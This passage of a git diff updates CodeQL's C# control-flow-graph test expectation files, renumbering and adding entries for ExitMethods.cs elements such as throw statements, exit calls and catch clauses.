{...} | ExitMethods.cs:43:9:46:9 | catch (...) {...} | -| ExitMethods.cs:44:9:46:9 | {...} | ExitMethods.cs:44:9:46:9 | {...} | -| ExitMethods.cs:45:13:45:19 | return ...; | ExitMethods.cs:45:13:45:19 | return ...; | -| ExitMethods.cs:47:9:50:9 | catch (...) {...} | ExitMethods.cs:47:9:50:9 | catch (...) {...} | -| ExitMethods.cs:48:9:50:9 | {...} | ExitMethods.cs:48:9:50:9 | {...} | -| ExitMethods.cs:49:13:49:19 | return ...; | ExitMethods.cs:49:13:49:19 | return ...; | -| ExitMethods.cs:54:5:57:5 | {...} | ExitMethods.cs:54:5:57:5 | {...} | -| ExitMethods.cs:55:9:55:22 | call to method ErrorAlways2 | ExitMethods.cs:55:9:55:22 | call to method ErrorAlways2 | -| ExitMethods.cs:55:9:55:23 | ...; | ExitMethods.cs:55:9:55:23 | ...; | -| ExitMethods.cs:56:9:56:15 | return ...; | ExitMethods.cs:56:9:56:15 | return ...; | -| ExitMethods.cs:60:5:63:5 | {...} | ExitMethods.cs:60:5:63:5 | {...} | -| ExitMethods.cs:61:9:61:22 | call to method ErrorAlways3 | ExitMethods.cs:61:9:61:22 | call to method ErrorAlways3 | -| ExitMethods.cs:61:9:61:23 | ...; | ExitMethods.cs:61:9:61:23 | ...; | -| ExitMethods.cs:62:9:62:15 | return ...; | ExitMethods.cs:62:9:62:15 | return ...; | -| ExitMethods.cs:66:5:69:5 | {...} | ExitMethods.cs:66:5:69:5 | {...} | -| ExitMethods.cs:67:9:68:34 | if (...) ... | ExitMethods.cs:67:9:68:34 | if (...) ... | -| ExitMethods.cs:67:13:67:13 | access to parameter b | ExitMethods.cs:67:13:67:13 | access to parameter b | -| ExitMethods.cs:68:13:68:34 | throw ...; | ExitMethods.cs:68:19:68:33 | object creation of type Exception | -| ExitMethods.cs:68:19:68:33 | object creation of type Exception | ExitMethods.cs:68:19:68:33 | object creation of type Exception | -| ExitMethods.cs:72:5:77:5 | {...} | ExitMethods.cs:72:5:77:5 | {...} | -| ExitMethods.cs:73:9:76:45 | if (...) ... | ExitMethods.cs:73:9:76:45 | if (...) ... | -| ExitMethods.cs:73:13:73:13 | access to parameter b | ExitMethods.cs:73:13:73:13 | access to parameter b | -| ExitMethods.cs:74:13:74:34 | throw ...; | ExitMethods.cs:74:19:74:33 | object creation of type Exception | -| ExitMethods.cs:74:19:74:33 | object creation of type Exception | ExitMethods.cs:74:19:74:33 | object creation of type Exception | -| ExitMethods.cs:76:13:76:45 | throw ...; | ExitMethods.cs:76:41:76:43 | "b" | -| ExitMethods.cs:76:19:76:44 | object creation of type ArgumentException | ExitMethods.cs:76:41:76:43 | "b" | -| ExitMethods.cs:76:41:76:43 | "b" | ExitMethods.cs:76:41:76:43 | "b" | -| ExitMethods.cs:80:5:82:5 | {...} | ExitMethods.cs:80:5:82:5 | {...} | -| ExitMethods.cs:81:9:81:30 | throw ...; | ExitMethods.cs:81:15:81:29 | object creation of type Exception | -| ExitMethods.cs:81:15:81:29 | object creation of type Exception | ExitMethods.cs:81:15:81:29 | object creation of type Exception | -| ExitMethods.cs:84:35:84:55 | throw ... | ExitMethods.cs:84:41:84:55 | object creation of type Exception | -| ExitMethods.cs:84:41:84:55 | object creation of type Exception | ExitMethods.cs:84:41:84:55 | object creation of type Exception | -| ExitMethods.cs:87:5:89:5 | {...} | ExitMethods.cs:87:5:89:5 | {...} | -| ExitMethods.cs:88:9:88:27 | call to method Exit | ExitMethods.cs:88:26:88:26 | 0 | -| ExitMethods.cs:88:9:88:28 | ...; | ExitMethods.cs:88:9:88:28 | ...; | -| ExitMethods.cs:88:26:88:26 | 0 | ExitMethods.cs:88:26:88:26 | 0 | -| ExitMethods.cs:92:5:102:5 | {...} | ExitMethods.cs:92:5:102:5 | {...} | -| ExitMethods.cs:93:9:101:9 | try {...} ... | ExitMethods.cs:93:9:101:9 | try {...} ... | -| ExitMethods.cs:94:9:96:9 | {...} | ExitMethods.cs:94:9:96:9 | {...} | -| ExitMethods.cs:95:13:95:18 | call to method Exit | ExitMethods.cs:95:13:95:18 | this access | -| ExitMethods.cs:95:13:95:18 | this access | ExitMethods.cs:95:13:95:18 | this access | -| ExitMethods.cs:95:13:95:19 | ...; | ExitMethods.cs:95:13:95:19 | ...; | -| ExitMethods.cs:98:9:101:9 | {...} | ExitMethods.cs:98:9:101:9 | {...} | -| ExitMethods.cs:100:13:100:40 | call to method WriteLine | ExitMethods.cs:100:38:100:39 | "" | -| ExitMethods.cs:100:13:100:41 | ...; | ExitMethods.cs:100:13:100:41 | ...; | -| ExitMethods.cs:100:38:100:39 | "" | ExitMethods.cs:100:38:100:39 | "" | -| ExitMethods.cs:105:5:107:5 | {...} | ExitMethods.cs:105:5:107:5 | {...} | -| ExitMethods.cs:106:9:106:47 | call to method Exit | ExitMethods.cs:106:9:106:47 | call to method Exit | -| ExitMethods.cs:106:9:106:48 | ...; | ExitMethods.cs:106:9:106:48 | ...; | -| ExitMethods.cs:110:5:112:5 | {...} | ExitMethods.cs:110:5:112:5 | {...} | -| ExitMethods.cs:111:9:111:77 | return ...; | ExitMethods.cs:111:16:111:20 | access to parameter input | -| ExitMethods.cs:111:16:111:20 | access to parameter input | ExitMethods.cs:111:16:111:20 | access to parameter input | -| ExitMethods.cs:111:16:111:25 | ... != ... | ExitMethods.cs:111:16:111:20 | access to parameter input | -| ExitMethods.cs:111:16:111:76 | ... ? ... : ... | ExitMethods.cs:111:16:111:20 | access to parameter input | -| ExitMethods.cs:111:25:111:25 | 0 | ExitMethods.cs:111:25:111:25 | 0 | -| ExitMethods.cs:111:25:111:25 | (...) ... | ExitMethods.cs:111:25:111:25 | 0 | -| ExitMethods.cs:111:29:111:29 | 1 | ExitMethods.cs:111:29:111:29 | 1 | -| ExitMethods.cs:111:29:111:29 | (...) ... | ExitMethods.cs:111:29:111:29 | 1 | -| ExitMethods.cs:111:29:111:37 | ... / ... | ExitMethods.cs:111:29:111:29 | 1 | -| ExitMethods.cs:111:33:111:37 | access to parameter input | ExitMethods.cs:111:33:111:37 | access to parameter input | -| ExitMethods.cs:111:41:111:76 | throw ... | ExitMethods.cs:111:69:111:75 | "input" | -| ExitMethods.cs:111:47:111:76 | object creation of type ArgumentException | ExitMethods.cs:111:69:111:75 | "input" | -| ExitMethods.cs:111:69:111:75 | "input" | ExitMethods.cs:111:69:111:75 | "input" | -| ExitMethods.cs:115:5:117:5 | {...} | ExitMethods.cs:115:5:117:5 | {...} | -| ExitMethods.cs:116:9:116:39 | return ...; | ExitMethods.cs:116:16:116:16 | access to parameter s | -| ExitMethods.cs:116:16:116:16 | access to parameter s | ExitMethods.cs:116:16:116:16 | access to parameter s | -| ExitMethods.cs:116:16:116:30 | call to method Contains | ExitMethods.cs:116:16:116:16 | access to parameter s | -| ExitMethods.cs:116:16:116:38 | ... ? ... : ... | ExitMethods.cs:116:16:116:16 | access to parameter s | -| ExitMethods.cs:116:27:116:29 | - | ExitMethods.cs:116:27:116:29 | - | -| ExitMethods.cs:116:34:116:34 | 0 | ExitMethods.cs:116:34:116:34 | 0 | -| ExitMethods.cs:116:38:116:38 | 1 | ExitMethods.cs:116:38:116:38 | 1 | -| ExitMethods.cs:120:5:123:5 | {...} | ExitMethods.cs:120:5:123:5 | {...} | -| ExitMethods.cs:121:9:121:28 | call to method IsTrue | ExitMethods.cs:121:23:121:27 | false | -| ExitMethods.cs:121:9:121:29 | ...; | ExitMethods.cs:121:9:121:29 | ...; | -| ExitMethods.cs:121:23:121:27 | false | ExitMethods.cs:121:23:121:27 | false | -| ExitMethods.cs:122:9:122:18 | ... ...; | ExitMethods.cs:122:9:122:18 | ... ...; | -| ExitMethods.cs:122:13:122:17 | Int32 x = ... | ExitMethods.cs:122:17:122:17 | 0 | -| ExitMethods.cs:122:17:122:17 | 0 | ExitMethods.cs:122:17:122:17 | 0 | -| ExitMethods.cs:126:5:129:5 | {...} | ExitMethods.cs:126:5:129:5 | {...} | -| ExitMethods.cs:127:9:127:26 | call to method FailingAssertion | ExitMethods.cs:127:9:127:26 | this access | -| ExitMethods.cs:127:9:127:26 | this access | ExitMethods.cs:127:9:127:26 | this access | -| ExitMethods.cs:127:9:127:27 | ...; | ExitMethods.cs:127:9:127:27 | ...; | -| ExitMethods.cs:128:9:128:18 | ... ...; | ExitMethods.cs:128:9:128:18 | ... ...; | -| ExitMethods.cs:128:13:128:17 | Int32 x = ... | ExitMethods.cs:128:17:128:17 | 0 | -| ExitMethods.cs:128:17:128:17 | 0 | ExitMethods.cs:128:17:128:17 | 0 | -| ExitMethods.cs:131:33:131:49 | call to method IsFalse | ExitMethods.cs:131:48:131:48 | access to parameter b | -| ExitMethods.cs:131:48:131:48 | access to parameter b | ExitMethods.cs:131:48:131:48 | access to parameter b | -| ExitMethods.cs:134:5:137:5 | {...} | ExitMethods.cs:134:5:137:5 | {...} | -| ExitMethods.cs:135:9:135:25 | call to method AssertFalse | ExitMethods.cs:135:9:135:25 | this access | -| ExitMethods.cs:135:9:135:25 | this access | ExitMethods.cs:135:9:135:25 | this access | -| ExitMethods.cs:135:9:135:26 | ...; | ExitMethods.cs:135:9:135:26 | ...; | -| ExitMethods.cs:135:21:135:24 | true | ExitMethods.cs:135:21:135:24 | true | -| ExitMethods.cs:136:9:136:18 | ... ...; | ExitMethods.cs:136:9:136:18 | ... ...; | -| ExitMethods.cs:136:13:136:17 | Int32 x = ... | ExitMethods.cs:136:17:136:17 | 0 | -| ExitMethods.cs:136:17:136:17 | 0 | ExitMethods.cs:136:17:136:17 | 0 | +| ExitMethods.cs:9:5:12:5 | {...} | ExitMethods.cs:9:5:12:5 | {...} | +| ExitMethods.cs:10:9:10:24 | call to method ErrorMaybe | ExitMethods.cs:10:20:10:23 | true | +| ExitMethods.cs:10:9:10:25 | ...; | ExitMethods.cs:10:9:10:25 | ...; | +| ExitMethods.cs:10:20:10:23 | true | ExitMethods.cs:10:20:10:23 | true | +| ExitMethods.cs:11:9:11:15 | return ...; | ExitMethods.cs:11:9:11:15 | return ...; | +| ExitMethods.cs:15:5:18:5 | {...} | ExitMethods.cs:15:5:18:5 | {...} | +| ExitMethods.cs:16:9:16:25 | call to method ErrorMaybe | ExitMethods.cs:16:20:16:24 | false | +| ExitMethods.cs:16:9:16:26 | ...; | ExitMethods.cs:16:9:16:26 | ...; | +| ExitMethods.cs:16:20:16:24 | false | ExitMethods.cs:16:20:16:24 | false | +| ExitMethods.cs:17:9:17:15 | return ...; | ExitMethods.cs:17:9:17:15 | return ...; | +| ExitMethods.cs:21:5:24:5 | {...} | ExitMethods.cs:21:5:24:5 | {...} | +| ExitMethods.cs:22:9:22:25 | call to method ErrorAlways | ExitMethods.cs:22:21:22:24 | true | +| ExitMethods.cs:22:9:22:26 | ...; | ExitMethods.cs:22:9:22:26 | ...; | +| ExitMethods.cs:22:21:22:24 | true | ExitMethods.cs:22:21:22:24 | true | +| ExitMethods.cs:23:9:23:15 | return ...; | ExitMethods.cs:23:9:23:15 | return ...; | +| ExitMethods.cs:27:5:30:5 | {...} | ExitMethods.cs:27:5:30:5 | {...} | +| ExitMethods.cs:28:9:28:14 | call to method Exit | ExitMethods.cs:28:9:28:14 | this access | +| ExitMethods.cs:28:9:28:14 | this access | ExitMethods.cs:28:9:28:14 | this access | +| ExitMethods.cs:28:9:28:15 | ...; | ExitMethods.cs:28:9:28:15 | ...; | +| ExitMethods.cs:29:9:29:15 | return ...; | ExitMethods.cs:29:9:29:15 | return ...; | +| ExitMethods.cs:33:5:36:5 | {...} | ExitMethods.cs:33:5:36:5 | {...} | +| ExitMethods.cs:34:9:34:25 | call to method ApplicationExit | ExitMethods.cs:34:9:34:25 | this access | +| ExitMethods.cs:34:9:34:25 | this access | ExitMethods.cs:34:9:34:25 | this access | +| ExitMethods.cs:34:9:34:26 | ...; | ExitMethods.cs:34:9:34:26 | ...; | +| ExitMethods.cs:35:9:35:15 | return ...; | ExitMethods.cs:35:9:35:15 | return ...; | +| ExitMethods.cs:39:5:52:5 | {...} | ExitMethods.cs:39:5:52:5 | {...} | +| ExitMethods.cs:40:9:51:9 | try {...} ... | ExitMethods.cs:40:9:51:9 | try {...} ... | +| ExitMethods.cs:41:9:43:9 | {...} | ExitMethods.cs:41:9:43:9 | {...} | +| ExitMethods.cs:42:13:42:30 | call to method ErrorAlways | ExitMethods.cs:42:25:42:29 | false | +| ExitMethods.cs:42:13:42:31 | ...; | ExitMethods.cs:42:13:42:31 | ...; | +| ExitMethods.cs:42:25:42:29 | false | ExitMethods.cs:42:25:42:29 | false | +| ExitMethods.cs:44:9:47:9 | catch (...) {...} | ExitMethods.cs:44:9:47:9 | catch (...) {...} | +| ExitMethods.cs:45:9:47:9 | {...} | ExitMethods.cs:45:9:47:9 | {...} | +| ExitMethods.cs:46:13:46:19 | return ...; | ExitMethods.cs:46:13:46:19 | return ...; | +| ExitMethods.cs:48:9:51:9 | catch (...) {...} | ExitMethods.cs:48:9:51:9 | catch (...) {...} | +| ExitMethods.cs:49:9:51:9 | {...} | ExitMethods.cs:49:9:51:9 | {...} | +| ExitMethods.cs:50:13:50:19 | return ...; | ExitMethods.cs:50:13:50:19 | return ...; | +| ExitMethods.cs:55:5:58:5 | {...} | ExitMethods.cs:55:5:58:5 | {...} | +| ExitMethods.cs:56:9:56:22 | call to method ErrorAlways2 | ExitMethods.cs:56:9:56:22 | call to method ErrorAlways2 | +| ExitMethods.cs:56:9:56:23 | ...; | ExitMethods.cs:56:9:56:23 | ...; | +| ExitMethods.cs:57:9:57:15 | return ...; | ExitMethods.cs:57:9:57:15 | return ...; | +| ExitMethods.cs:61:5:64:5 | {...} | ExitMethods.cs:61:5:64:5 | {...} | +| ExitMethods.cs:62:9:62:22 | call to method ErrorAlways3 | ExitMethods.cs:62:9:62:22 | call to method ErrorAlways3 | +| ExitMethods.cs:62:9:62:23 | ...; | ExitMethods.cs:62:9:62:23 | ...; | +| ExitMethods.cs:63:9:63:15 | return ...; | ExitMethods.cs:63:9:63:15 | return ...; | +| ExitMethods.cs:67:5:70:5 | {...} | ExitMethods.cs:67:5:70:5 | {...} | +| ExitMethods.cs:68:9:69:34 | if (...) ... | ExitMethods.cs:68:9:69:34 | if (...) ... | +| ExitMethods.cs:68:13:68:13 | access to parameter b | ExitMethods.cs:68:13:68:13 | access to parameter b | +| ExitMethods.cs:69:13:69:34 | throw ...; | ExitMethods.cs:69:19:69:33 | object creation of type Exception | +| ExitMethods.cs:69:19:69:33 | object creation of type Exception | ExitMethods.cs:69:19:69:33 | object creation of type Exception | +| ExitMethods.cs:73:5:78:5 | {...} | ExitMethods.cs:73:5:78:5 | {...} | +| ExitMethods.cs:74:9:77:45 | if (...) ... | ExitMethods.cs:74:9:77:45 | if (...) ... | +| ExitMethods.cs:74:13:74:13 | access to parameter b | ExitMethods.cs:74:13:74:13 | access to parameter b | +| ExitMethods.cs:75:13:75:34 | throw ...; | ExitMethods.cs:75:19:75:33 | object creation of type Exception | +| ExitMethods.cs:75:19:75:33 | object creation of type Exception | ExitMethods.cs:75:19:75:33 | object creation of type Exception | +| ExitMethods.cs:77:13:77:45 | throw ...; | ExitMethods.cs:77:41:77:43 | "b" | +| ExitMethods.cs:77:19:77:44 | object creation of type ArgumentException | ExitMethods.cs:77:41:77:43 | "b" | +| ExitMethods.cs:77:41:77:43 | "b" | ExitMethods.cs:77:41:77:43 | "b" | +| ExitMethods.cs:81:5:83:5 | {...} | ExitMethods.cs:81:5:83:5 | {...} | +| ExitMethods.cs:82:9:82:30 | throw ...; | ExitMethods.cs:82:15:82:29 | object creation of type Exception | +| ExitMethods.cs:82:15:82:29 | object creation of type Exception | ExitMethods.cs:82:15:82:29 | object creation of type Exception | +| ExitMethods.cs:85:35:85:55 | throw ... | ExitMethods.cs:85:41:85:55 | object creation of type Exception | +| ExitMethods.cs:85:41:85:55 | object creation of type Exception | ExitMethods.cs:85:41:85:55 | object creation of type Exception | +| ExitMethods.cs:88:5:90:5 | {...} | ExitMethods.cs:88:5:90:5 | {...} | +| ExitMethods.cs:89:9:89:27 | call to method Exit | ExitMethods.cs:89:26:89:26 | 0 | +| ExitMethods.cs:89:9:89:28 | ...; | ExitMethods.cs:89:9:89:28 | ...; | +| ExitMethods.cs:89:26:89:26 | 0 | ExitMethods.cs:89:26:89:26 | 0 | +| ExitMethods.cs:93:5:103:5 | {...} | ExitMethods.cs:93:5:103:5 | {...} | +| ExitMethods.cs:94:9:102:9 | try {...} ... | ExitMethods.cs:94:9:102:9 | try {...} ... | +| ExitMethods.cs:95:9:97:9 | {...} | ExitMethods.cs:95:9:97:9 | {...} | +| ExitMethods.cs:96:13:96:18 | call to method Exit | ExitMethods.cs:96:13:96:18 | this access | +| ExitMethods.cs:96:13:96:18 | this access | ExitMethods.cs:96:13:96:18 | this access | +| ExitMethods.cs:96:13:96:19 | ...; | ExitMethods.cs:96:13:96:19 | ...; | +| ExitMethods.cs:99:9:102:9 | {...} | ExitMethods.cs:99:9:102:9 | {...} | +| ExitMethods.cs:101:13:101:40 | call to method WriteLine | ExitMethods.cs:101:38:101:39 | "" | +| ExitMethods.cs:101:13:101:41 | ...; | ExitMethods.cs:101:13:101:41 | ...; | +| ExitMethods.cs:101:38:101:39 | "" | ExitMethods.cs:101:38:101:39 | "" | +| ExitMethods.cs:106:5:108:5 | {...} | ExitMethods.cs:106:5:108:5 | {...} | +| ExitMethods.cs:107:9:107:47 | call to method Exit | ExitMethods.cs:107:9:107:47 | call to method Exit | +| ExitMethods.cs:107:9:107:48 | ...; | ExitMethods.cs:107:9:107:48 | ...; | +| ExitMethods.cs:111:5:113:5 | {...} | ExitMethods.cs:111:5:113:5 | {...} | +| ExitMethods.cs:112:9:112:77 | return ...; | ExitMethods.cs:112:16:112:20 | access to parameter input | +| ExitMethods.cs:112:16:112:20 | access to parameter input | ExitMethods.cs:112:16:112:20 | access to parameter input | +| ExitMethods.cs:112:16:112:25 | ... != ... | ExitMethods.cs:112:16:112:20 | access to parameter input | +| ExitMethods.cs:112:16:112:76 | ... ? ... : ... | ExitMethods.cs:112:16:112:20 | access to parameter input | +| ExitMethods.cs:112:25:112:25 | 0 | ExitMethods.cs:112:25:112:25 | 0 | +| ExitMethods.cs:112:25:112:25 | (...) ... | ExitMethods.cs:112:25:112:25 | 0 | +| ExitMethods.cs:112:29:112:29 | 1 | ExitMethods.cs:112:29:112:29 | 1 | +| ExitMethods.cs:112:29:112:29 | (...) ... | ExitMethods.cs:112:29:112:29 | 1 | +| ExitMethods.cs:112:29:112:37 | ... / ... | ExitMethods.cs:112:29:112:29 | 1 | +| ExitMethods.cs:112:33:112:37 | access to parameter input | ExitMethods.cs:112:33:112:37 | access to parameter input | +| ExitMethods.cs:112:41:112:76 | throw ... | ExitMethods.cs:112:69:112:75 | "input" | +| ExitMethods.cs:112:47:112:76 | object creation of type ArgumentException | ExitMethods.cs:112:69:112:75 | "input" | +| ExitMethods.cs:112:69:112:75 | "input" | ExitMethods.cs:112:69:112:75 | "input" | +| ExitMethods.cs:116:5:118:5 | {...} | ExitMethods.cs:116:5:118:5 | {...} | +| ExitMethods.cs:117:9:117:39 | return ...; | ExitMethods.cs:117:16:117:16 | access to parameter s | +| ExitMethods.cs:117:16:117:16 | access to parameter s | ExitMethods.cs:117:16:117:16 | access to parameter s | +| ExitMethods.cs:117:16:117:30 | call to method Contains | ExitMethods.cs:117:16:117:16 | access to parameter s | +| ExitMethods.cs:117:16:117:38 | ... ? ... : ... | ExitMethods.cs:117:16:117:16 | access to parameter s | +| ExitMethods.cs:117:27:117:29 | - | ExitMethods.cs:117:27:117:29 | - | +| ExitMethods.cs:117:34:117:34 | 0 | ExitMethods.cs:117:34:117:34 | 0 | +| ExitMethods.cs:117:38:117:38 | 1 | ExitMethods.cs:117:38:117:38 | 1 | +| ExitMethods.cs:121:5:124:5 | {...} | ExitMethods.cs:121:5:124:5 | {...} | +| ExitMethods.cs:122:9:122:28 | call to method IsTrue | ExitMethods.cs:122:23:122:27 | false | +| ExitMethods.cs:122:9:122:29 | ...; | ExitMethods.cs:122:9:122:29 | ...; | +| ExitMethods.cs:122:23:122:27 | false | ExitMethods.cs:122:23:122:27 | false | +| ExitMethods.cs:123:9:123:18 | ... ...; | ExitMethods.cs:123:9:123:18 | ... ...; | +| ExitMethods.cs:123:13:123:17 | Int32 x = ... | ExitMethods.cs:123:17:123:17 | 0 | +| ExitMethods.cs:123:17:123:17 | 0 | ExitMethods.cs:123:17:123:17 | 0 | +| ExitMethods.cs:127:5:130:5 | {...} | ExitMethods.cs:127:5:130:5 | {...} | +| ExitMethods.cs:128:9:128:26 | call to method FailingAssertion | ExitMethods.cs:128:9:128:26 | this access | +| ExitMethods.cs:128:9:128:26 | this access | ExitMethods.cs:128:9:128:26 | this access | +| ExitMethods.cs:128:9:128:27 | ...; | ExitMethods.cs:128:9:128:27 | ...; | +| ExitMethods.cs:129:9:129:18 | ... ...; | ExitMethods.cs:129:9:129:18 | ... ...; | +| ExitMethods.cs:129:13:129:17 | Int32 x = ... | ExitMethods.cs:129:17:129:17 | 0 | +| ExitMethods.cs:129:17:129:17 | 0 | ExitMethods.cs:129:17:129:17 | 0 | +| ExitMethods.cs:132:33:132:49 | call to method IsFalse | ExitMethods.cs:132:48:132:48 | access to parameter b | +| ExitMethods.cs:132:48:132:48 | access to parameter b | ExitMethods.cs:132:48:132:48 | access to parameter b | +| ExitMethods.cs:135:5:138:5 | {...} | ExitMethods.cs:135:5:138:5 | {...} | +| ExitMethods.cs:136:9:136:25 | call to method AssertFalse | ExitMethods.cs:136:9:136:25 | this access | +| ExitMethods.cs:136:9:136:25 | this access | ExitMethods.cs:136:9:136:25 | this access | +| ExitMethods.cs:136:9:136:26 | ...; | ExitMethods.cs:136:9:136:26 | ...; | +| ExitMethods.cs:136:21:136:24 | true | ExitMethods.cs:136:21:136:24 | true | +| ExitMethods.cs:137:9:137:18 | ... ...; | ExitMethods.cs:137:9:137:18 | ... ...; | +| ExitMethods.cs:137:13:137:17 | Int32 x = ... | ExitMethods.cs:137:17:137:17 | 0 | +| ExitMethods.cs:137:17:137:17 | 0 | ExitMethods.cs:137:17:137:17 | 0 | +| ExitMethods.cs:141:5:147:5 | {...} | ExitMethods.cs:141:5:147:5 | {...} | +| ExitMethods.cs:142:9:145:53 | if (...) ... | ExitMethods.cs:142:9:145:53 | if (...) ... | +| ExitMethods.cs:142:13:142:13 | access to parameter b | ExitMethods.cs:142:13:142:13 | access to parameter b | +| ExitMethods.cs:143:13:143:42 | call to method Throw | ExitMethods.cs:143:41:143:41 | access to parameter e | +| ExitMethods.cs:143:13:143:43 | ...; | ExitMethods.cs:143:13:143:43 | ...; | +| ExitMethods.cs:143:41:143:41 | access to parameter e | ExitMethods.cs:143:41:143:41 | access to parameter e | +| ExitMethods.cs:145:13:145:44 | call to method Capture | ExitMethods.cs:145:43:145:43 | access to parameter e | +| ExitMethods.cs:145:13:145:52 | call to method Throw | ExitMethods.cs:145:43:145:43 | access to parameter e | +| ExitMethods.cs:145:13:145:53 | ...; | ExitMethods.cs:145:13:145:53 | ...; | +| ExitMethods.cs:145:43:145:43 | access to parameter e | ExitMethods.cs:145:43:145:43 | access to parameter e | +| ExitMethods.cs:146:9:146:33 | call to method WriteLine | ExitMethods.cs:146:27:146:32 | "dead" | +| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:146:9:146:34 | ...; | +| ExitMethods.cs:146:27:146:32 | "dead" | ExitMethods.cs:146:27:146:32 | "dead" | | Extensions.cs:6:5:8:5 | {...} | Extensions.cs:6:5:8:5 | {...} | | Extensions.cs:7:9:7:30 | return ...; | Extensions.cs:7:28:7:28 | access to parameter s | | Extensions.cs:7:16:7:29 | call to method Parse | Extensions.cs:7:28:7:28 | access to parameter s | diff --git a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected index 07a0a9cffc7..6e19712c22b 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected @@ -1443,162 +1443,177 @@ | Conditions.cs:149:38:149:47 | $"..." | Conditions.cs:149:38:149:47 | $"..." | normal | | Conditions.cs:149:40:149:43 | "b = " | Conditions.cs:149:40:149:43 | "b = " | normal | | Conditions.cs:149:45:149:45 | access to local variable s | Conditions.cs:149:45:149:45 | access to local variable s | normal | -| ExitMethods.cs:8:5:11:5 | {...} | ExitMethods.cs:10:9:10:15 | return ...; | return | -| ExitMethods.cs:9:9:9:24 | call to method ErrorMaybe | ExitMethods.cs:9:9:9:24 | call to method ErrorMaybe | normal | -| ExitMethods.cs:9:9:9:25 | ...; | ExitMethods.cs:9:9:9:24 | call to method ErrorMaybe | normal | -| ExitMethods.cs:9:20:9:23 | true | ExitMethods.cs:9:20:9:23 | true | normal | -| ExitMethods.cs:10:9:10:15 | return ...; | ExitMethods.cs:10:9:10:15 | return ...; | return | -| ExitMethods.cs:14:5:17:5 | {...} | ExitMethods.cs:16:9:16:15 | return ...; | return | -| ExitMethods.cs:15:9:15:25 | call to method ErrorMaybe | ExitMethods.cs:15:9:15:25 | call to method ErrorMaybe | normal | -| ExitMethods.cs:15:9:15:26 | ...; | ExitMethods.cs:15:9:15:25 | call to method ErrorMaybe | normal | -| ExitMethods.cs:15:20:15:24 | false | ExitMethods.cs:15:20:15:24 | false | normal | -| ExitMethods.cs:16:9:16:15 | return ...; | ExitMethods.cs:16:9:16:15 | return ...; | return | -| ExitMethods.cs:20:5:23:5 | {...} | ExitMethods.cs:21:9:21:25 | call to method ErrorAlways | throw(ArgumentException) | -| ExitMethods.cs:20:5:23:5 | {...} | ExitMethods.cs:21:9:21:25 | call to method ErrorAlways | throw(Exception) | -| ExitMethods.cs:20:5:23:5 | {...} | ExitMethods.cs:22:9:22:15 | return ...; | return | -| ExitMethods.cs:21:9:21:25 | call to method ErrorAlways | ExitMethods.cs:21:9:21:25 | call to method ErrorAlways | throw(ArgumentException) | -| ExitMethods.cs:21:9:21:25 | call to method ErrorAlways | ExitMethods.cs:21:9:21:25 | call to method ErrorAlways | throw(Exception) | -| ExitMethods.cs:21:9:21:26 | ...; | ExitMethods.cs:21:9:21:25 | call to method ErrorAlways | throw(ArgumentException) | -| ExitMethods.cs:21:9:21:26 | ...; | ExitMethods.cs:21:9:21:25 | call to method ErrorAlways | throw(Exception) | -| ExitMethods.cs:21:21:21:24 | true | ExitMethods.cs:21:21:21:24 | true | normal | -| ExitMethods.cs:22:9:22:15 | return ...; | ExitMethods.cs:22:9:22:15 | return ...; | return | -| ExitMethods.cs:26:5:29:5 | {...} | ExitMethods.cs:27:9:27:14 | call to method Exit | exit | -| ExitMethods.cs:26:5:29:5 | {...} | ExitMethods.cs:28:9:28:15 | return ...; | return | -| ExitMethods.cs:27:9:27:14 | call to method Exit | ExitMethods.cs:27:9:27:14 | call to method Exit | exit | -| ExitMethods.cs:27:9:27:14 | this access | ExitMethods.cs:27:9:27:14 | this access | normal | -| ExitMethods.cs:27:9:27:15 | ...; | ExitMethods.cs:27:9:27:14 | call to method Exit | exit | -| ExitMethods.cs:28:9:28:15 | return ...; | ExitMethods.cs:28:9:28:15 | return ...; | return | -| ExitMethods.cs:32:5:35:5 | {...} | ExitMethods.cs:33:9:33:25 | call to method ApplicationExit | exit | -| ExitMethods.cs:32:5:35:5 | {...} | ExitMethods.cs:34:9:34:15 | return ...; | return | -| ExitMethods.cs:33:9:33:25 | call to method ApplicationExit | ExitMethods.cs:33:9:33:25 | call to method ApplicationExit | exit | -| ExitMethods.cs:33:9:33:25 | this access | ExitMethods.cs:33:9:33:25 | this access | normal | -| ExitMethods.cs:33:9:33:26 | ...; | ExitMethods.cs:33:9:33:25 | call to method ApplicationExit | exit | -| ExitMethods.cs:34:9:34:15 | return ...; | ExitMethods.cs:34:9:34:15 | return ...; | return | -| ExitMethods.cs:38:5:51:5 | {...} | ExitMethods.cs:45:13:45:19 | return ...; | return | -| ExitMethods.cs:38:5:51:5 | {...} | ExitMethods.cs:49:13:49:19 | return ...; | return | -| ExitMethods.cs:39:9:50:9 | try {...} ... | ExitMethods.cs:45:13:45:19 | return ...; | return | -| ExitMethods.cs:39:9:50:9 | try {...} ... | ExitMethods.cs:49:13:49:19 | return ...; | return | -| ExitMethods.cs:40:9:42:9 | {...} | ExitMethods.cs:41:13:41:30 | call to method ErrorAlways | throw(ArgumentException) | -| ExitMethods.cs:40:9:42:9 | {...} | ExitMethods.cs:41:13:41:30 | call to method ErrorAlways | throw(Exception) | -| ExitMethods.cs:41:13:41:30 | call to method ErrorAlways | ExitMethods.cs:41:13:41:30 | call to method ErrorAlways | throw(ArgumentException) | -| ExitMethods.cs:41:13:41:30 | call to method ErrorAlways | ExitMethods.cs:41:13:41:30 | call to method ErrorAlways | throw(Exception) | -| ExitMethods.cs:41:13:41:31 | ...; | ExitMethods.cs:41:13:41:30 | call to method ErrorAlways | throw(ArgumentException) | -| ExitMethods.cs:41:13:41:31 | ...; | ExitMethods.cs:41:13:41:30 | call to method ErrorAlways | throw(Exception) | -| ExitMethods.cs:41:25:41:29 | false | ExitMethods.cs:41:25:41:29 | false | normal | -| ExitMethods.cs:43:9:46:9 | catch (...) {...} | ExitMethods.cs:43:9:46:9 | catch (...) {...} | no-match | -| ExitMethods.cs:43:9:46:9 | catch (...) {...} | ExitMethods.cs:45:13:45:19 | return ...; | return | -| ExitMethods.cs:44:9:46:9 | {...} | ExitMethods.cs:45:13:45:19 | return ...; | return | -| ExitMethods.cs:45:13:45:19 | return ...; | ExitMethods.cs:45:13:45:19 | return ...; | return | -| ExitMethods.cs:47:9:50:9 | catch (...) {...} | 